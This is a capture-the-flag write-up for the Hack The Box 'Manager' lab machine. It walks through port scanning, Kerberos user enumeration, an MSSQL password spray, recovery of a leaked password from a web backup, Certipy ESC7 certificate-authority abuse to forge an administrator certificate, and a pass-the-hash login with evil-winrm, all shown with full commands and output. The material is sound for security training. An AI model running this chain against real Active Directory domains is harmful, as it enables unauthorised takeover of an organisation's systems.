Manager HTB[MEDIUM]:Seasonal Machine Writeup
Published: 2023-10-22 15:14:14

## Enumerating Machine
Let's start with a light nmap scan
**Nmap**
```                                                                                                                                                                                                                                         
┌───(kali㉿kali)-[~/Desktop/manager]
└─$ nmap -p- -T4 -A 10.10.11.236                    
Nmap scan report for manager.htb (10.10.11.236)
Host is up (0.15s latency).
Not shown: 92 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Manager
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-22 19:58:28Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
|_ssl-date: 2023-10-22T19:59:19+00:00; +6h59m59s from scanner time.
445/tcp  open  microsoft-ds?
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.11.236:1433: 
|     Target_Name: MANAGER
|     NetBIOS_Domain_Name: MANAGER
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: manager.htb
|     DNS_Computer_Name: dc01.manager.htb
|     DNS_Tree_Name: manager.htb
|_    Product_Version: 10.0.17763
|_ssl-date: 2023-10-22T19:59:19+00:00; +6h59m59s from scanner time.
| ms-sql-info: 
|   10.10.11.236:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-10-22T18:38:33
|_Not valid after:  2053-10-22T18:38:33
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m57s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-10-22T19:58:37
|_  start_date: N/A

```
Oh! a **AD Domain Controller**
My Favourite 🥰🥰🥰
Let's keep going
**Directory Busting**
```
└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://manager.htb/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://manager.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
......
```
Puff... Nothing here...
Now let's do some enum on **AD Kerebo**....
Running scan for existing users
```
./kerbrute_linux_amd64 userenum -d manager.htb --dc 10.10.11.236 /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
```
Found:
```
ryan
guest
cheng
raven
administrator
operator
jinwoo
```
Copy all to **users.txt**
Running msfconsole
```
msf6> use auxiliary/scanner/mssql/mssql_login
msf6 auxiliary(scanner/mssql/mssql_login) > set RHOSTS manager.htb
RHOSTS => manager.htb
msf6 auxiliary(scanner/mssql/mssql_login) > set USER_FILE users.txt
USER_FILE => users.txt
msf6 auxiliary(scanner/mssql/mssql_login) > set USER_AS_PASS true
USER_AS_PASS => true
msf6 auxiliary(scanner/mssql/mssql_login) > set USE_WINDOWS_AUTHENT true
USE_WINDOWS_AUTHENT => true
msf6 auxiliary(scanner/mssql/mssql_login) > run

[*] 10.10.11.236:1433     - 10.10.11.236:1433 - MSSQL - Starting authentication scanner.
[!] 10.10.11.236:1433     - No active DB -- Credential data will not be saved!
[-] 10.10.11.236:1433     - 10.10.11.236:1433 - LOGIN FAILED: WORKSTATION\sa:sa (Incorrect: )
[-] 10.10.11.236:1433     - 10.10.11.236:1433 - LOGIN FAILED: WORKSTATION\sa: (Incorrect: )
[-] 10.10.11.236:1433     - 10.10.11.236:1433 - LOGIN FAILED: WORKSTATION\ryan:ryan (Incorrect: )
[-] 10.10.11.236:1433     - 10.10.11.236:1433 - LOGIN FAILED: WORKSTATION\ryan: (Incorrect: )
[-] 10.10.11.236:1433     - 10.10.11.236:1433 - LOGIN FAILED: WORKSTATION\guest:guest (Incorrect: )
[-] 10.10.11.236:1433     - 10.10.11.236:1433 - LOGIN FAILED: WORKSTATION\guest: (Incorrect: )
[-] 10.10.11.236:1433     - 10.10.11.236:1433 - LOGIN FAILED: WORKSTATION\cheng:cheng (Incorrect: )
[-] 10.10.11.236:1433     - 10.10.11.236:1433 - LOGIN FAILED: WORKSTATION\cheng: (Incorrect: )
[-] 10.10.11.236:1433     - 10.10.11.236:1433 - LOGIN FAILED: WORKSTATION\raven:raven (Incorrect: )
[-] 10.10.11.236:1433     - 10.10.11.236:1433 - LOGIN FAILED: WORKSTATION\raven: (Incorrect: )
[-] 10.10.11.236:1433     - 10.10.11.236:1433 - LOGIN FAILED: WORKSTATION\administrator:administrator (Incorrect: )
[-] 10.10.11.236:1433     - 10.10.11.236:1433 - LOGIN FAILED: WORKSTATION\administrator: (Incorrect: )
[+] 10.10.11.236:1433     - 10.10.11.236:1433 - Login Successful: WORKSTATION\operator:operator
[-] 10.10.11.236:1433     - 10.10.11.236:1433 - LOGIN FAILED: WORKSTATION\jinwoo:jinwoo (Incorrect: )
[-] 10.10.11.236:1433     - 10.10.11.236:1433 - LOGIN FAILED: WORKSTATION\jinwoo: (Incorrect: )
[*] manager.htb:1433      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Found creds for user **operator**:
```
operator:operator
```
Connecting to **Mssql Server**:
```
impacket-mssqlclient MANAGER/operator:operator@manager.htb -windows-auth
```
Inside SQL, execute:
```
exec xp_dirtree 'C:\inetpub\wwwroot', 1,1
```
And you will see a file named "website-backup-27-03-23-old.zip"
Downloading the File
```
wget http://manager.htb/website-backup-27-03-23-old.zip
```
Got creds for raven in file **.old-conf.xml**:
```
raven:R4v3nBe5tD3veloP3r!123
```
Clone Certipy (https://github.com/ly4k/Certipy)
```
git clone https://github.com/ly4k/Certipy
cd Certipy
virtualenv .venv
pip3 install .
certipy find -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -vulnerable
```
This will create some files as output, read the resulting .txt and you will see that user Raven has dangerous permissions.
```
Certificate Authorities
  0
    CA Name                             : manager-DC01-CA
    DNS Name                            : dc01.manager.htb
    Certificate Subject                 : CN=manager-DC01-CA, DC=manager, DC=htb
    Certificate Serial Number           : 5150CE6EC048749448C7390A52F264BB
    Certificate Validity Start          : 2023-07-27 10:21:05+00:00
    Certificate Validity End            : 2122-07-27 10:31:04+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : MANAGER.HTB\Administrators
      Access Rights
        Enroll                          : MANAGER.HTB\Operator
                                          MANAGER.HTB\Authenticated Users
                                          MANAGER.HTB\Raven
        ManageCertificates              : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
        ManageCa                        : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
                                          MANAGER.HTB\Raven
    [!] Vulnerabilities
      ESC7                              : 'MANAGER.HTB\\Raven' has dangerous permissions
Certificate Templates                   : [!] Could not find any certificate templates
                                                                                        
```
Now, execute all of this quickly, otherwise final command will be fail due to desync time with Ad, so be fast as you can be:
```
sudo ntpdate -s manager.htb

certipy req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca manager-DC01-CA -target dc01.manager.htb -template SubCA -upn administrator@manager.htb

certipy ca -ca 'manager-DC01-CA' -issue-request <req id from last output> -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'

certipy req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca manager-DC01-CA -target dc01.manager.htb -retrieve <req id from last output>

certipy auth -pfx "administrator.pfx" -dc-ip 10.10.11.236 -username 'administrator' -domain 'manager.htb'
```
If all gone good, you will see this output with a hash from administrator.
Then log with the hash: 
```
evil-winrm -i 10.10.11.236 -u administrator -H '$ADMIN_HASH'
```

Kaboom!!!!!!!!!!!!!